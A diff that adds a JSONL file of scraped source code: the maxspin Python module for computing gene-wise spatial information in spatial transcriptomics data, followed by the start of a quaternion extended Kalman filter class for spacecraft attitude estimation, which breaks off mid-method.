diff --git "a/3201.jsonl" "b/3201.jsonl" new file mode 100644--- /dev/null +++ "b/3201.jsonl" @@ -0,0 +1,1433 @@ +{"seq_id":"73238490827","text":"\nfrom anndata import AnnData\nfrom flax import linen as nn\nfrom functools import partial\nfrom flax.core import FrozenDict\nfrom scipy import sparse\nfrom scipy.stats import binom\nfrom tqdm import tqdm\nfrom typing import Optional, Any, Callable, List, Union\nimport jax\nimport jax.numpy as jnp\nimport numpy as np\nimport optax\n# import h5py\nimport tensorflow_probability.substrates.jax.distributions as tfd\n\nfrom .objectives import genewise_js\nfrom .binning import spatially_bin_adata\n\nArray = Any\n\ndef spatial_information(\n adatas: Union[AnnData, List[AnnData]],\n layer: Optional[str]=None,\n nwalksteps: int=1,\n stepsize: int=5,\n lr: float=1e-2,\n nepochs: int=8000,\n binsizes: List[int]=[4, 8, 16],\n binweights: Union[Callable, List[float]]=lambda binsize: np.sqrt(binsize),\n max_unimproved_count: Optional[int]=50,\n seed: int=0,\n prior: Optional[str]=\"gamma\",\n std_layer: str=\"std\",\n prior_k: float=0.01,\n prior_theta: float=1.0,\n prior_a: float=1.0,\n estimate_scales: bool=False,\n chunk_size: Optional[int]=None,\n alpha_layer: str=\"alt\",\n beta_layer: str=\"ref\",\n receiver_signals: Optional[Any]=None,\n resample_frequency: int=10,\n nevalsamples: int=1000,\n preload: bool=True,\n quiet: bool=False):\n \"\"\"Compute spatial information for each gene in an an `AnnData`, or list of `AnnData`\n objects.\n\n If a list of of `AnnData` objects is used, the spatial information score is\n computed jointly across each.\n\n Every adata must have a spatial neighborhood graph provided. The easiest way\n to do this is with::\n\n squidpy.gr.spatial_neighbors(adata, delaunay=True, coord_type=\"generic\")\n\n Spatial information scores, which are added to the\n `adata.var[\"spatial_information\"]`, represent a lower bound on spatial\n auto-mutual information. They are normalized so that 0 represents a total\n lack of spatial coherence, and increasing positive numbers more spatial\n coherence.\n\n The bound on mutual information is computed by training extremely simple\n classifiers on pairs of nearby cells/spots. The classifier is trained to\n recognize when spatial arrangement has been shuffled. Informally, spatial\n information is then defined as how easy it is to tell when expression have\n been shuffled across spatial positions. In a highly spatially coherent\n expression pattern, the distribution of pairs of nearby values shifts\n dramatically. In the lack of any spatial coherence, this distribution does\n not change.\n\n Nearby pairs of nodes are sampled by performing random walks on the\n neighborhood graph. The length of the walks partially controls the scale of\n the spatial patterns that are detected. Longer walks will tend to recognize\n only very broad spatial patterns, while short walks only very precise ones.\n In that way, spatial information in not necessarily comparable when two\n different walk lengths are used.\n\n Args:\n adatas: Either a single `AnnData` objects, or a list of `AnnData` objects.\n If a list is given, they must all have the same set of genes in the\n same order. Each `AnnData` must have a spatial neighborhood graph\n provided in `obsp[\"spatial_connectivities\"]` This can be done with\n the `squidpy.gr.spatial_neighbors` function.\n layer: Name of layer to use. If `None`, the `X` matrix is used.\n nwalksteps: Random walks take this many steps. Lengthening walks\n (by increasing this parameter or `stepsize`) will make the test less\n sensitive to smaller scale spatial variations, but more sensitive to\n large scale variations.\n stepsize: Each random walk step follows this many edges on the\n neighborhood graph.\n lr: Optimizer learning rate.\n nepochs: Run the optimization step for this many iterations.\n nevalsamples: Estimate MI bound by resampling expression and random\n walks this many times.\n max_unimproved_count: Early stopping criteria for optimization. If the\n the MI lower bound has not been improved for any gene for this many\n iterations, stop iterating.\n seed: Random number generator seed.\n prior: Account for uncertainty in expression estimates by resampling\n expression while training. If `None`, do no resampling. If \"gamma\", use\n a model appropriate for absolute counts, if \"dirichlet\" use a model\n appropriate for proprotional counts. If set to \"beta\" in conjunction\n with setting `alpha_layer` and `beta_layer` to two separate count layers,\n use a model suitable for testing for spatial patterns in allelic balance.\n If \"gaussian\", the model expects a matrix nammed `std` in `layers` holding\n standard deviations for the estimates held in `X`.\n std_layer: Name of layer containing standard deviation estimates for\n the expression values in X. Should be the same shape as X.\n prior_k: Set the `k` in a `Gamma(k, θ)` if prior is \"gamma\",\n prior_theta: Set the `θ` in `Gamma(k, θ)` if prior is \"gamma\",\n prior_a: Use either a `Beta(a, a)` or `Dirichlet(a, a, a, ...)` prior\n depending on the value of `prior`.\n estimate_scales: When using a dirichlet prior, try to estimate scales\n to adjust proportions to capture relative absolute abundance\n chunk_size: How many genes to score at a time, mainly affecting memory\n usage. When None, a reasonable number will be chosen to avoid using too much\n memory.\n alpha_layer: When using a beta prior, gives the name of the layer (in `adata.layers`)\n for the α parameter.\n beta_layer: When using a beta prior, gives the name of the layer (in `adata.layers`)\n for the β parameter.\n receiver_signals: Instead of computing auto-spatial mutual information\n for each gene, compute the spatial mutual information between\n each gene and the given signal, which must be either 1-dimensional\n or the same number of dimensions as there are genes. This signal is\n not resampled during training.\n resample_frequency: Resample expression values after this many iterations.\n This tends to be computationally expensive, so is not done every iteration\n during optimization.\n preload: If multiple AnnData objects are used, load everything into\n GPU memory at once, rather than as needed. This is considerably faster\n when GPU memory is not an issue.\n quiet: Don't print stuff to stdout while running.\n\n Returns:\n Modifies each `adata` with with the following keys:\n\n - `anndata.AnnData.var[\"spatial_information\"]`: Lower bound on spatial\n information for each gene.\n - `anndata.AnnData.var[\"spatial_information_pvalue\"]`: P-values from\n testing the null hypothesis of no spatial organization.\n - `anndata.AnnData.var[\"spatial_information_log_pvalue\"]`: Log transformed p-values.\n - `anndata.AnnData.layers[\"spatial_information_acc\"]`: Per spot/cell\n classifier accuracy. Useful for visualizing what regions were\n inferred to have high spatial coherence..\n \"\"\"\n\n if isinstance(adatas, AnnData):\n adatas = [adatas]\n\n check_same_genes(adatas)\n if not all([\"spatial_connectivities\" in adata.obsp for adata in adatas]):\n raise Exception(\n \"\"\"Every adata must have 'spatial_connectivities' set. Call, for\n example, `squidpy.gr.spatial_neighbors(adata, delaunay=True, coord_type=\"generic\")`\"\"\")\n\n nsamples = len(adatas)\n quiet or print(f\"nsamples: {nsamples}\")\n\n ngenes = adatas[0].shape[1]\n quiet or print(f\"ngenes: {ngenes}\")\n\n # Binning: bin cells/spots and treat it as further observations, which\n # can boost sensitivity with sparse data\n concatenated_adatas = []\n cell_counts = []\n objective_weights = []\n for adata in adatas:\n concatenated_adatas.append(adata)\n cell_counts.append(1)\n objective_weights.append(1.0)\n\n binned_adatas = [spatially_bin_adata(adata, binsize, std_layer, layer=layer) for binsize in binsizes]\n concatenated_adatas.extend(binned_adatas)\n cell_counts.extend(binsizes)\n\n if isinstance(binweights, Callable):\n objective_weights.extend([binweights(binsize) for binsize in binsizes])\n elif isinstance(binweights, List):\n assert len(binsizes) == len(binweights)\n objective_weights.extend(binweights)\n\n adatas = concatenated_adatas\n\n # Find a reasonable scale for coordinates\n mean_neighbor_dist = 0.0\n total_cell_count = 0\n for adata in adatas:\n neighbors = adata.obsp[\"spatial_connectivities\"].tocoo()\n xy = adata.obsm[\"spatial\"]\n mean_neighbor_dist += \\\n np.sum(np.sqrt(np.sum(np.square(xy[neighbors.row,:] - xy[neighbors.col,:]), axis=1)))\n total_cell_count += xy.shape[0]\n mean_neighbor_dist /= total_cell_count\n\n xys = []\n for adata in adatas:\n xys.append(jnp.array(adata.obsm[\"spatial\"] / mean_neighbor_dist))\n\n ncs = [adata.shape[0] for adata in adatas]\n quiet or print(f\"ncells: {ncs}\")\n\n if max_unimproved_count is None:\n max_unimproved_count = nepochs\n\n if layer is None:\n us = [adata.X if isinstance(adata.X, np.ndarray) else adata.X.toarray() for adata in adatas]\n else:\n us = [adata.layers[layer] if isinstance(adata.layers[layer], np.ndarray) else adata.layers[layer].toarray() for adata in adatas]\n us = [u.astype(np.float32) for u in us]\n\n Ps = [neighbor_transition_matrix(adata, self_edges=True) for adata in adatas]\n random_walk_graphs = [random_walk_matrix(P, nc, stepsize) for (nc, P) in zip(ncs, Ps)]\n\n # Try to calibrate chunk_size to not blow out GPU memory. Setting it here\n # to use about 1GB\n if chunk_size is None:\n chunk_size = min(ngenes, max(1, int(1e8 / 4 / max(ncs))))\n quiet or print(f\"chunk size: {chunk_size}\")\n\n if prior is not None and prior not in [\"gamma\", \"beta\", \"dirichlet\", \"gaussian\"]:\n raise Exception(\"Supported prior types are None, \\\"gamma\\\", \\\"beta\\\", \\\"dirichlet\\\", or \\\"gaussian\\\"\")\n\n assert receiver_signals is None or len(receiver_signals) == nsamples\n\n # Right now this only works if the receiver signal has dimension 1 so\n # it broadcasts across the genes. We could in principle do some sort of\n # cartesian product, but that could easy blow up if we're not careful.\n if receiver_signals is not None:\n for receiver_signal in receiver_signals:\n assert receiver_signal.shape[1] == 1 or receiver_signal.shape[1] == ngenes\n\n if receiver_signals is not None:\n sample_v = lambda key, u, i: receiver_signals[i]\n else:\n sample_v = lambda key, u, i: u\n\n scales = None\n if prior == \"dirichlet\":\n if estimate_scales:\n scales = estimate_scale_factors(us, prior_a)\n else:\n scales = [np.ones((u.shape[0], 1), dtype=np.float32) for u in us]\n\n αs = []\n βs = []\n if prior == \"beta\":\n for adata in adatas:\n for lyr in [alpha_layer, beta_layer]:\n if lyr not in adata.layers:\n raise Exception(f\"Missing layer \\\"{lyr}\\\" needed for beta prior\")\n αs.append(adata.layers[alpha_layer])\n βs.append(adata.layers[beta_layer])\n\n σs = []\n if prior == \"gaussian\":\n for adata in adatas:\n if std_layer not in adata.layers:\n raise Exception(f\"Gaussian prior requires a `{std_layer}` matrix in `layers`\")\n σs.append(adata.layers[std_layer])\n\n # Doesn't seem to make a difference, but hypothetically could be more stable\n # when optimizing over a collection of very different datasets.\n optimizer = optax.MultiSteps(\n optax.adam(learning_rate=lr),\n every_k_schedule=len(adatas))\n\n # optimizer = optax.adam(learning_rate=lr)\n\n train_step = make_train_step(optimizer)\n\n scores_chunks = []\n tpr_chunks = []\n for gene_from in range(0, ngenes, chunk_size):\n gene_to = min(gene_from + chunk_size, ngenes)\n # quiet or print(f\"Scoring gene {gene_from} to gene {gene_to-1}\")\n\n us_chunk = [u[:,gene_from:gene_to] for u in us]\n αs_chunk = None\n βs_chunk = None\n σs_chunk = None\n\n if prior == \"beta\":\n αs_chunk = [α[:,gene_from:gene_to] + prior_a for α in αs]\n βs_chunk = [β[:,gene_from:gene_to] + prior_a for β in βs]\n elif prior == \"dirichlet\":\n for u in us_chunk:\n u += prior_a\n αs_chunk = [np.sum(u, axis=1) for u in us_chunk]\n βs_chunk = [np.sum(u + prior_a, axis=1) - α for (α, u) in zip(αs_chunk, us)]\n elif prior == \"gaussian\":\n σs_chunk = [σ[:,gene_from:gene_to] for σ in σs]\n\n scores_chunk, tpr_chunk = score_chunk(\n xys=xys,\n us=us_chunk,\n cell_counts=cell_counts,\n objective_weights=objective_weights,\n sample_v=sample_v,\n u_index=None,\n v_index=None,\n random_walk_graphs=random_walk_graphs,\n prior=prior,\n scales=scales,\n αs=αs_chunk,\n βs=βs_chunk,\n σs=σs_chunk,\n desc=f\"Scoring genes {gene_from} to {gene_to}\",\n prior_k=prior_k,\n prior_θ=prior_theta,\n nwalksteps=nwalksteps,\n seed=seed,\n objective=genewise_js,\n optimizer=optimizer,\n train_step=train_step,\n classifier=GeneNodePairClassifier,\n nepochs=nepochs,\n resample_frequency=resample_frequency,\n nevalsamples=nevalsamples,\n max_unimproved_count=max_unimproved_count,\n preload=preload,\n quiet=quiet)\n\n scores_chunks.append(scores_chunk)\n tpr_chunks.append(tpr_chunk)\n\n scores = jnp.concatenate(scores_chunks)\n tpr = jnp.concatenate(tpr_chunks, axis=1)\n\n pvalues = binom(tpr.shape[0], 0.5).cdf(np.sum(tpr < 0.05, axis=0))\n log_pvalues = binom(tpr.shape[0], 0.5).logcdf(np.sum(tpr < 0.05, axis=0))\n\n for adata in adatas:\n adata.var[\"spatial_information\"] = np.array(scores)\n adata.var[\"spatial_information_pvalue\"] = pvalues\n adata.var[\"spatial_information_log_pvalue\"] = log_pvalues\n\n # This is mostly monotonic, and arguably more interpretable\n # adata.var[\"spatial_information\"] = np.mean(np.array(tpr), axis=0)\n\n adatas[0].layers[\"spatial_information_acc\"] = np.array(tpr)\n\n\ndef score_chunk(\n xys: List[Any],\n us: List[Any],\n cell_counts: List[Any],\n objective_weights: List[Any],\n sample_v: Optional[Callable],\n u_index: Optional[Array],\n v_index: Optional[Array],\n random_walk_graphs: List[Any],\n prior: Optional[str],\n scales: Optional[List[Any]],\n αs: Optional[List[Any]],\n βs: Optional[List[Any]],\n σs: Optional[List[Any]],\n desc: str,\n prior_k: float,\n prior_θ: float,\n nwalksteps: int,\n seed: int,\n objective: Callable,\n optimizer: optax.GradientTransformation,\n train_step: Callable,\n classifier: Callable,\n nepochs: int,\n resample_frequency: int,\n nevalsamples: int,\n max_unimproved_count: int,\n preload: bool,\n quiet: bool):\n \"\"\"\n Helper function to compute information scores for some subset of the genes.\n \"\"\"\n\n assert (u_index is None and v_index is None) or (u_index.shape == v_index.shape)\n\n nsamples = len(us)\n ncs = [u.shape[0] for u in us]\n ngenes = us[0].shape[1] if u_index is None else u_index.shape[0]\n\n us_samples = [None for _ in range(nsamples)]\n vs_samples = [None for _ in range(nsamples)]\n\n key = jax.random.PRNGKey(seed)\n\n modelargs = FrozenDict({\n \"nsamples\": nsamples,\n \"objective\": objective,\n \"classifier\": classifier,\n })\n\n key, init_key = jax.random.split(key)\n\n vars = MINE(training=True, **modelargs).init(\n init_key,\n key,\n 0, xys[0][:,0],\n jax.device_put(us[0] if u_index is None else us[0][:,u_index]),\n jax.device_put(us[0] if u_index is None else us[0][:,u_index]),\n jnp.arange(us[0].shape[0]),\n objective_weights[0])\n\n\n model_state, params = vars.pop(\"params\")\n opt_state = optimizer.init(params)\n\n if preload:\n random_walk_graphs = jax.device_put(random_walk_graphs)\n us = jax.device_put(us)\n\n if σs is not None:\n σs = [jax.device_put(σ) for σ in σs]\n\n if αs is not None:\n αs = [jax.device_put(α) for α in αs]\n\n if βs is not None:\n βs = [jax.device_put(β) for β in βs]\n\n if scales is not None:\n scales = [jax.device_put(scale) for scale in scales]\n\n # compute means and stds over point estimates so we can shift and scale\n # to make training a little easier.\n post_θ = prior_θ/(prior_θ+1)\n\n u_means = []\n u_stds = []\n for (i, u) in enumerate(us):\n if prior == \"dirichlet\":\n p = jnp.expand_dims(αs[i] / (αs[i] + βs[i]), axis=-1)\n u_est = p * (u / jnp.sum(u, axis=1, keepdims=True))\n u_est /= scales[i]\n u_est = jnp.log1p(1e6 * u_est)\n elif prior == \"gamma\":\n u_est = jnp.log1p((u+prior_k*cell_counts[i]) * post_θ / cell_counts[i])\n else:\n u_est = u / cell_counts[i]\n\n u_means.append(jnp.mean(u_est, axis=0))\n u_stds.append(jnp.std(u_est, axis=0) + 1e-1)\n\n best_mi_bounds = jnp.full(ngenes, -jnp.inf)\n unimproved_count = jnp.zeros(ngenes, dtype=int)\n\n # Resample `us_samples[i]` signals (i.e. gene expression typically). This\n # is to account for uncertainty in actual expression while training.\n def resample_signals(i):\n u = jax.device_put(us[i])\n\n if prior == \"dirichlet\":\n us_samples[i] = sample_signals_dirichlet(\n step_key, u, αs[i], βs[i], u_means[i], u_stds[i], scales[i])\n elif prior == \"gamma\":\n us_samples[i] = sample_signals_gamma(\n step_key, u, u_means[i], u_stds[i], post_θ, prior_k, cell_counts[i])\n elif prior == \"beta\":\n us_samples[i] = sample_signals_beta(\n step_key, αs[i], βs[i])\n elif prior == \"gaussian\":\n us_samples[i] = sample_signals_gaussian(\n step_key, u, σs[i], u_means[i], u_stds[i], cell_counts[i])\n else:\n us_samples[i] = (u - u_means[i]) / u_stds[i]\n\n vs_samples[i] = sample_v(step_key, us_samples[i], i)\n\n # training loop\n prog = None if quiet else tqdm(total=nepochs, desc=desc)\n prog_update_freq = 50\n\n # debug_output = h5py.File(\"samples.h5\", \"w\")\n\n for epoch in range(nepochs):\n mi_lower_bounds_sum = jnp.zeros(ngenes, dtype=jnp.float32)\n for i in range(nsamples):\n key, step_key = jax.random.split(key)\n\n receivers, receivers_logits = random_walk_graphs[i]\n\n walk_receivers = weighted_random_walk(\n nwalksteps, step_key, jax.device_put(receivers),\n jax.device_put(receivers_logits))\n\n distances = random_walk_distances(xys[i], walk_receivers)\n\n # print((jnp.min(distances), jnp.max(distances)))\n\n if epoch % resample_frequency == 0:\n resample_signals(i)\n\n model_state, params, opt_state, mi_lower_bounds, metrics = train_step(\n modelargs,\n cell_counts[i], distances,\n us_samples[i] if u_index is None else us_samples[i][:,u_index],\n vs_samples[i] if v_index is None else vs_samples[i][:,v_index],\n walk_receivers, objective_weights[i],\n model_state, params, opt_state, step_key)\n\n mi_lower_bounds_sum += mi_lower_bounds\n\n # Diagnostics\n # debug_output.create_dataset(f\"senders_{i}\", data=np.array(us_samples[i]))\n # debug_output.create_dataset(f\"receivers_{i}\", data=np.array(us_samples[i][walk_receivers,:]))\n # debug_output.create_dataset(f\"distances_{i}\", data=np.array(distances))\n\n unimproved_count += 1\n unimproved_count = unimproved_count.at[mi_lower_bounds_sum > best_mi_bounds].set(0)\n best_mi_bounds = jnp.maximum(best_mi_bounds, mi_lower_bounds_sum)\n\n # With a large number of genes, this is unlikely to be triggered\n # because we will randomly get some tiny improvement. Is there a less\n # conservative stopping criteria?\n if jnp.min(unimproved_count) > max_unimproved_count:\n break\n\n if prog is not None and (epoch + 1) % prog_update_freq == 0:\n prog.update(prog_update_freq)\n prog.set_postfix(mean_mi_bound=jnp.float32(jnp.mean(mi_lower_bounds)))\n\n # if (epoch + 1) % 500 == 0:\n # quiet or print(f\"epoch: {epoch+1}, min unimproved count: {jnp.min(unimproved_count)}, mi bound: {jnp.float32(jnp.mean(mi_lower_bounds))}\")\n\n if prog is not None:\n prog.close()\n if not quiet and jnp.min(unimproved_count) > max_unimproved_count:\n quiet or print(\"Loss plateaued. Quitting early.\")\n\n # evaluation loop\n mi_lower_bounds_sum = jnp.zeros(ngenes, dtype=jnp.float32)\n vars = {\"params\": params, **model_state}\n tpr = jnp.zeros((ncs[0], ngenes)) # cell/gene-wise true positive rate for the first adata\n\n for epoch in range(nevalsamples):\n for i in range(nsamples):\n key, step_key = jax.random.split(key)\n\n receivers, receivers_logits = random_walk_graphs[i]\n\n walk_receivers = weighted_random_walk(\n nwalksteps, step_key, jax.device_put(receivers),\n jax.device_put(receivers_logits))\n\n distances = jnp.sqrt(jnp.sum(jnp.square(xys[i] - xys[i][walk_receivers,:]), axis=1))\n\n if epoch % resample_frequency == 0:\n resample_signals(i)\n\n mi_lower_bounds, tpr_i = eval_step(\n modelargs,\n vars,\n step_key,\n cell_counts[i], distances,\n us_samples[i] if u_index is None else us_samples[i][:,u_index],\n vs_samples[i] if v_index is None else vs_samples[i][:,v_index],\n walk_receivers, objective_weights[i])\n\n mi_lower_bounds_sum += mi_lower_bounds\n if i == 0:\n tpr += tpr_i\n\n mi_lower_bounds_sum /= nevalsamples\n tpr /= nevalsamples\n\n return mi_lower_bounds_sum, tpr\n\n\ndef neighbor_transition_matrix(adata: AnnData, self_edges: bool=True):\n \"\"\"\n Build a graph transition matrix with equal porability to each neighbor.\n \"\"\"\n\n A = adata.obsp[\"spatial_connectivities\"].tocoo()\n A = (A + A.transpose() + sparse.identity(A.shape[0]))\n\n A.data[:] = 1\n\n # delete self-edges when there is more than one\n if not self_edges:\n for i in np.arange(A.shape[0])[np.asarray(A.sum(axis=0)).flatten() > 1]:\n A[i,i] = 0\n\n P = A.multiply(1/A.sum(axis=1))\n return P\n\n\ndef random_walk_matrix(P: sparse.coo_matrix, n: int, stepsize: int):\n \"\"\"\n Construct a transition matrix for a `stepsize` random walk from each node. Each\n node has a row of destination nodes in one matrix and transition probability\n logits in the other, suitable for doing random walks efficiently.\n \"\"\"\n\n Pk = sparse.identity(n)\n for _ in range(stepsize):\n Pk = Pk.dot(P)\n Pk = Pk.tocsr()\n\n nreceivers = Pk.indptr[1:] - Pk.indptr[:-1]\n max_receivers = np.max(nreceivers)\n ncells = Pk.shape[0]\n\n receivers = np.full([Pk.shape[0], max_receivers], -1, dtype=int)\n receiver_logits = np.full([Pk.shape[0], max_receivers], -np.inf, dtype=np.float32)\n\n for j in range(ncells):\n k0 = Pk.indptr[j]\n k1 = Pk.indptr[j+1]\n receivers[j,0:nreceivers[j]] = Pk.indices[k0:k1]\n receiver_logits[j,0:nreceivers[j]] = np.log(Pk.data[k0:k1])\n\n return (receivers, receiver_logits)\n\n\n@jax.jit\ndef random_walk_distances(xys, walk_receivers):\n return jnp.sqrt(jnp.sum(jnp.square(xys - xys[walk_receivers,:]), axis=1))\n\n\n@partial(jax.jit, static_argnums=(0,))\ndef weighted_random_walk(nsteps, key, receivers, receivers_logits):\n \"\"\"\n Send every node on a random walk of length `nsteps` where `receivers` encodes\n edges, and `receiver_logits` are log probabilities for each edge.\n \"\"\"\n\n senders = jnp.arange(receivers.shape[0])\n for _ in range(nsteps):\n walk_key, key = jax.random.split(key)\n senders = receivers[\n senders, jax.random.categorical(walk_key, receivers_logits[senders,:])]\n return senders\n\n\ndef estimate_scale_factors(us: list, prior_a: float):\n \"\"\"\n When a dirichlet prior is used to model proportions, we typically are\n interested in variations in absolute abudance. This function computes\n estimates of proportional scaling factors needed to capture there absolute\n abundance changes. It does this my minimizing overall change in expression,\n an assumption that can be very wrong in some settings (i.e., when the\n overall amount of mRNA being produce changes dramatically).\n \"\"\"\n\n scales = []\n for u in us:\n u = u + prior_a\n scales_i = np.mean(u / np.exp(np.mean(np.log(u), axis=0, keepdims=True)), axis=1)\n scales.append(np.expand_dims(scales_i, -1))\n return scales\n\n\ndef check_same_genes(adatas: List[AnnData]):\n \"\"\"\n Make sure each AnnData in a list has the same set of genes.\n \"\"\"\n\n for adata in adatas[1:]:\n if not all(adata.var_names == adatas[0].var_names):\n raise Exception(\"AnnData objects must have the same set of genes\")\n\n\n\nclass GeneNodePairClassifier(nn.Module):\n \"\"\"\n Classifier on pairs of nodes.\n \"\"\"\n training: bool\n\n @nn.compact\n def __call__(self, walk_start, walk_end):\n ncells, ngenes = walk_start.shape\n penalty = 0.0\n\n shift = self.param(\n \"shift\",\n lambda key, shape: jnp.full(shape, 0.0, dtype=jnp.float32),\n (1, ngenes))\n\n walk_start += shift\n walk_end += shift\n\n w_diff = -nn.softplus(self.param(\n \"diff_weight\",\n lambda key, shape: jnp.full(shape, -4.0),\n (1, ngenes)))\n\n w_sum = nn.softplus(self.param(\n \"sum_weight\",\n lambda key, shape: jnp.full(shape, -4.0),\n (1, ngenes)))\n\n w_prod = nn.softplus(self.param(\n \"prod_weight\",\n lambda key, shape: jnp.full(shape, -4.0, dtype=jnp.float32),\n (1, ngenes)))\n\n b = self.param(\n \"bias\",\n nn.initializers.zeros,\n (1, ngenes))\n\n score = b + \\\n w_prod * walk_start * walk_end + \\\n w_diff * jnp.abs(walk_start - walk_end) + \\\n w_sum * jnp.abs(walk_start + walk_end)\n\n return score, penalty\n\n\n\nclass MINE(nn.Module):\n \"\"\"\n Mutual information neural estimation. Shuffle the node signals, and train a\n classifier to distinguish shuffled from unshuffled, bounding mutual\n information.\n \"\"\"\n\n training: bool\n nsamples: int\n objective: Callable\n classifier: Callable\n\n @nn.compact\n def __call__(self, key, cell_count, distances, u, v, walk_receivers, objective_weights):\n ncells, ngenes = u.shape\n\n # intentionally using the same key to get the same permutation here\n u_perm = jax.random.permutation(key, u)\n v_perm = jax.random.permutation(key, v)\n\n fe = self.classifier(training=self.training)\n\n score, penalty = fe(u, v[walk_receivers])\n perm_score, _ = fe(u_perm, v_perm[walk_receivers])\n\n # weighting scores by distance of the sampled neighbors, and excluding\n # walks that end up where they started.\n distance_falloff = nn.softplus(self.param(\n \"distance_falloff\",\n lambda key, shape: jnp.full(shape, 1.0, dtype=jnp.float32),\n ngenes))\n distance_falloff = jnp.expand_dims(distance_falloff, 0)\n nonzero_distance = jnp.expand_dims(distances > 0.0, 1)\n distance_weight = jnp.exp(-jnp.expand_dims(distances, 1)/distance_falloff) * nonzero_distance\n\n score *= distance_weight\n perm_score *= distance_weight\n\n mi_bounds = self.objective(score, perm_score) * objective_weights\n\n metrics = {\"tp\": nn.sigmoid(score - perm_score)}\n\n return mi_bounds - penalty, metrics\n\n\n# Copying an idiom from: https://github.com/deepmind/optax/issues/197#issuecomment-974505149\ndef make_train_step(optimizer):\n @partial(jax.jit, static_argnums=(0,))\n def train_step(modelargs, cell_count, distances, u, v, walk_receivers, objective_weights, model_state, params, opt_state, key):\n def loss_fn(params):\n vars = {\"params\": params, **model_state}\n (mi_lower_bounds, metrics), new_model_state = MINE(\n training=True, **modelargs).apply(\n vars, key, cell_count, distances, u, v, walk_receivers, objective_weights, mutable=[\"batch_stats\"])\n return -jnp.mean(mi_lower_bounds), (mi_lower_bounds, metrics, new_model_state)\n\n grad_fn = jax.value_and_grad(loss_fn, has_aux=True)\n (neg_mean_mi_lower_bounds, (mi_lower_bounds, metrics, model_state)), grads = grad_fn(params)\n\n updates, opt_state = optimizer.update(grads, opt_state, params)\n params = optax.apply_updates(params, updates)\n\n return model_state, params, opt_state, mi_lower_bounds, metrics\n\n return train_step\n\n\n@partial(jax.jit, static_argnums=(0,))\ndef eval_step(modelargs, vars, key, cell_count, distances, v, u, walk_receivers, objective_weights):\n (mi_lower_bounds, metrics), new_model_state = MINE(training=False, **modelargs).apply(\n vars, key,\n cell_count, distances, v, u,\n walk_receivers,\n objective_weights,\n mutable=[\"batch_stats\"])\n\n return mi_lower_bounds, metrics[\"tp\"]\n\n\n@jax.jit\ndef sample_signals_gamma(key, v, v_mean, v_std, post_θ, prior_k, cell_count):\n v_sample = jnp.log1p(tfd.Gamma(concentration=v + prior_k * cell_count, rate=cell_count/post_θ).sample(seed=key))\n v_sample = (v_sample - v_mean) / v_std\n return v_sample\n\n\n@jax.jit\ndef sample_signals_dirichlet(key, v, α, β, v_mean, v_std, scale):\n p = jnp.expand_dims(jax.random.beta(key, α, β), axis=-1)\n v_sample = jnp.log1p(1e6 * p * jax.random.dirichlet(key, v) / scale)\n v_sample = (v_sample - v_mean) / v_std\n return v_sample\n\n\n@jax.jit\ndef sample_signals_beta(key, α, β):\n return jnp.log(jax.random.beta(key, α, β))\n\n\n@jax.jit\ndef sample_signals_gaussian(key, μ, σ, v_mean, v_std, cell_count):\n x = (jax.random.normal(key, μ.shape) * σ + μ) / cell_count\n return (x - v_mean) / v_std\n","repo_name":"dcjones/maxspin","sub_path":"maxspin/spatial_information.py","file_name":"spatial_information.py","file_ext":"py","file_size_in_byte":31292,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"5671902078","text":"import local_packages\n\nimport pyquat as pq\nimport pyquat.wahba as wahba\nimport pyquat.wahba.qmethod as qmethod\n\nimport numpy as np\nimport scipy.linalg as spl\n\nclass Qekf(object):\n tau = 5400.0 # time constant on the attitude bias, which\n # is an exponentially-correlated random\n # variable (ECRV)\n q_w_psd = 5.4154e-10 # power spectral density on the noise coming\n # out of the gyroscope\n q_w_psd_tuning_factor = 1.0\n\n def __init__(self, dt,\n q_inrtl_to_body_init = pq.identity()):\n \"\"\"Constructor for the q-method extended Kalman filter.\n\n Args:\n dt propagation time step (s)\n q_inrtl_to_body_init initial attitude guess (of type\n pyquat.Quat; defaults to pq.identity())\n\n \"\"\"\n self.dt = dt\n self.time = 0.0\n\n # Setup state estimate\n self.x = np.zeros(6)\n self.q = q_inrtl_to_body_init # attitude estimate\n\n # Setup and initialize covariance\n self.P = np.zeros((6,6))\n for ii in range(0,3):\n self.P[ii,ii] = (0.5 * np.pi)**2\n for ii in range(3,6):\n self.P[ii,ii] = 1e-8\n\n # As we propagate, log data\n self.log = { 't': [0.0],\n 'wm': [np.zeros(3)],\n 'qIB': [self.q],\n 'bg': [np.zeros(3)],\n 'Pdiag': [np.zeros(6)] }\n\n @property\n def Pqq(self):\n return self.P[0:3,0:3]\n\n @property\n def Pqb(self):\n return self.P[0:3,3:]\n\n @property\n def Pbq(self):\n return self.P[3:,0:3]\n\n @property\n def Pbb(self):\n return self.P[3:,3:]\n\n @property\n def T(self):\n return self.q.to_matrix()\n \n \n def update_attitude(self, *args,\n sigma_y = [1e-3, 1e-3],\n sigma_n = [1e-11, 1e-3],\n w = None):\n \"\"\"Accept observations and reference vectors and use them to update\n the filter.\n\n This method currently accepts four unnamed arguments, all of\n which are length-3 vectors. The first two are the observed\n vectors (e.g. to the sun and in the direction of the magnetic\n field). The second two are the reference vectors (where the\n model suggests these should be pointed).\n\n The method, when complete, has updated the filter's estimate\n of the attitude, the state estimate, and the covariance.\n\n Args:\n obs1 unit vector observation 1\n obs2 unit vector observation 2\n ref1 unit reference vector corresponding to obs1\n ref2 unit reference vector corresponding to obs2\n \n Kwargs:\n sigma_y standard deviations for obs1 and obs2 in a list,\n tuple, or numpy array\n sigma_n standard deviations of ref1 and ref2 in a list,\n tuple, or numpy array\n w weights list, tuple, or numpy array for each\n vector, which may be provided in lieu of sigma_y\n and sigma_n (default: None)\n\n Returns:\n A tuple of the state update and the delta quaternion\n reflecting the change in attitude.\n\n \"\"\"\n \n # Get prior information for qmethod\n Nqq_prior = spl.inv(self.Pqq)\n\n if w is None:\n w = qmethod.compute_weights(sigma_y, sigma_n)\n\n y = np.vstack(args[:2]).T\n n = np.vstack(args[2:]).T\n q_post = qmethod.qmethod(y, n, w, q_prior = self.q, N_prior = Nqq_prior)\n\n T = self.T\n \n # Compute the covariance of the vectors which are orthogonal to\n # the observations and references.\n Rzz = qmethod.qekf_measurement_covariance(T, y, n, w, sigma_y, sigma_n)\n\n # Compute measurement model for attitude measurement\n Htheta = qmethod.qekf_measurement_model(T, y, n, w)\n \n Xi_prior = self.q.big_xi()\n\n # 4. Calculate attitude covariance posterior using Joseph form: eq 68\n Ktheta = spl.inv(-Nqq_prior*2 + Htheta)\n I_minus_KH = np.identity(3) - Ktheta.dot(Htheta)\n 